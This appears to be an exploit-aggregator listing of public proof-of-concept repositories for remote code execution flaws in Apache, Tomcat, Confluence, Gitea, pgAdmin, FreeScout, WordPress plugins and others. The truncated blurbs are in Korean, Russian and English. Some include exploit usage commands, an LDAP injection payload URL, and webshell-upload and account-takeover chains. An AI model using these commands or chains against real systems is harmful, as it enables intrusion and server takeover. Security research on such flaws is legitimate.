CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 원격 코드 실행...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 Информация Этот репозиторий содержит два PoC для Connect Box CH7465LG, работающего на прошивке CH7465LG-NCIP-6.12.18.24-5p8-NOSH или более ранней. Более подробную информацию можно найти в моём блоге. Использование Неаутентифицированное удалённое выполнение кода...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE Описание PoC-скрипт критической уязвимости в Krayin CRM v2.2.x, позволяющий выполнение аутентифицированного RCE через неограниченную загрузку файлов. Использование root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p...

CVE-2025-24813

설명 이 저장소는 CVE-2025-24813 Tomcat 최신 RCE를 재현하기 위한 환경입니다. 학습 및 연구 목적으로만 사용하세요! 이용 조건 애플리케이션이 DefaultServlet 쓰기 기능을 활성화해야 합니다. 기본적으로 비활성화되어 있습니다. 애플리케이션이 partial PUT 요청을 지원하여 악의적인 직렬화 데이터를 세션 파일에 쓸 수 있어야 합니다. 이 기능은 기본적으로 활성화되어 있습니다. 애플리케이션이 Tomcat의 파일 세션 지속성을 사용하고 기본 세션 저장 위치를 사용해야 합니다. 추가 구성이 필요합니다...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — FreeScout 익명 ATO → RCE FreeScout ≤ 1.8.223Laravel 기반 헬프데스크에서 두 가지 결함을 연쇄적으로 이용하는 인증되지 않은 원격 코드 실행RCE — 두 결함 모두 1.8.224 에서 수정되었습니다: CVE-2026-53595 — 익명 계정 탈취ATO. POST /user-setup/hash/invitesentat 요청은 invitehash 열만으로 계정을 선택합니다. 활성화된 사용자는 invitehash = '' 값을 가지며,...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false를 명시적으로 비활성화합니다. 기본 사이트 관리자 또는 WordPress 멀티사이트 아키텍처에서 슈퍼 관리자가 아닌 사이트 관리자와 같이 가져오기import 권한을 보유한 인증된 사용자는 파일 제한 시행을 우회하여 공개된 디렉터리에 임의의 실행 가능한 PHP 스크립트를 직접 업로드할 수 있으며, 이를 통해 지속적인 원격 코드 실행RCE 및 완전한 서버 장악을 달성할 수 있습니다...

CVE-2024-34716

CVE-2024-34716PoC Более подробные технические детали можно найти на https://ayoubmokhtar.com/post/pngdrivenchainxsstoremotecodeexecutionprestashop8.1.5cve-2024-34716/ Установка pip install -r requirements.txt Использование Usage: python exploit.py --url --email --local-ip --admin-path...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector 경로 탐색 CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0 Content-Type:...

CVE-2022-30781

🍵 CVE-2022-30781 Gitea 저장소 마이그레이션 원격 코드 실행 익스플로잇. 사용 방법 1. 이 리포지토리의 파일로 HTTP 파일 시스템 서버를 실행합니다. 2. api/v1/repos/e99/exp/pulls/1/index.html L96에서 실행할 명령을 편집합니다. 3. Gitea 인스턴스에서 URL http:///e99/exp로 원격 저장소를 마이그레이션합니다. 4. Pwnned! 참고 https://tttang.com/archive/1607/ 중국어 크레딧 @wuhan005 @Li4n0 Vidar-Team...

CVE-2024-41662

CVE-2024-41662 XSS через Markdown приводит к RCE в VNote версии ПРИМЕЧАНИЕ: Приложение правильно проверяет некоторые JavaScript-нагрузки, выполняя кодирование вывода. Однако в определенных случаях проверка не выполняется...

CVE-2025-2945_PgAdmin_PoC

CVE-2025-2945PoC pgAdmin 개념 증명 pgAdmin Query Tool RCE CVE-2025-2945 – Python 개념 증명 ⚠️ 면책 조항 이 저장소는 pgAdmin 4 9.2 이전 버전에 존재하는 심각한 원격 코드 실행 취약점인 CVE-2025-2945에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 이 코드는 오직 본인이 소유하거나 테스트를 위한 명시적 허가를 받은 환경에서만 사용하십시오. 저자는 이 소프트웨어로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 목차 1. 개요 2. 취약점 세부 정...

spring-framework-rce

spring-framework-rce CVE-2022-22965 Требования к среде 1. tomcat8 8 Инструкция по использованию 1. Скачайте springframeworkrce-0.0.1-SNAPSHOT.zip, распакуйте и переименуйте в ROOT.war. 2. Замените папку ROOT или файл ROOT.war в папке webapps внутри tomcat. 3. Перейдите в каталог bin внутри tomcat...

CVE-2020-1947

CVE-2020-1947 root@kitploit: usage: CVE-2020-1947.py -h -i IP -p PORT -T ACCESSTOKEN -poc POC python CVE-2020-1947.py -i 192.168.128.135 -p 8088 -T eyJ1c2VybmFtZSI6ImFk -poc ldap://127.0.0.1:1389/CommandObject...

CVE-2023-26035

CVE-2023-26035 ZoneMinder 스냅샷 - 비인증 설치 저장소 가져오기 root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git 설정 참고: 최신 버전의 node를 설치하세요. root@kitploit: $ npm init $ npm i axios cheerio yargs 사용법 root@kitploit: ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node...

CVE-2019-0708

CVE-2019-0708 первоначальный эксплойт для CVE-2019-0708, BlueKeep CVE-2019-0708 BlueKeep RDP удаленное ядро Windows Use After Free Драйвер RDP termdd.sys неправильно обрабатывает привязки к внутреннему каналу MST120, что позволяет с помощью искаженного сообщения Disconnect Provider Indication...

CVE-2026-14982

The WP File Download plugin for WordPress (versions ≤ 6.3.4 ) is vulnerable to arbitrary file deletion via insufficient path validation in the delete function. Authenticated attackers with subscriber-level access or above can exploit a two-stage attack : first calling the file.save endpoint to pe...

Apache-Solr-RCE_CVE-2023-50386_POC

Apache-Solr-RCECVE-2023-50386POC Apache Solr Backup/Restore APIs RCE Poc CVE-2023-50386 Ссылки с уважением к dalao: Блог автора уязвимости CVE-2023-50386 Методы обхода Java Security Manager Обход защиты рефлексии в JDK 17 JNI обход RASP Принцип эксплуатации и размышления:...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617 — критическая уязвимость удаленного выполнения кода RCE, обнаруженная в Apache Tomcat Уязвимы системы, в которых включены HTTP PUT путем установки параметра инициализации «read-only» сервлета Default в значение «false». Версии Tomcat до 9.0.1 Beta, 8.5.23, 8.0.47 и...

CVE-2022-25581

CVE-2022-25581 Везде в интернете не найти, оставляю резервную копию. Python эксплойт-скрипт для автоматического выполнения следующих шагов: ✅ Цель скрипта 1. Войти в панель администратора получить csrf и token 2. Сформировать вредоносный запрос для загрузки архива содержащего webshell 3. Получить...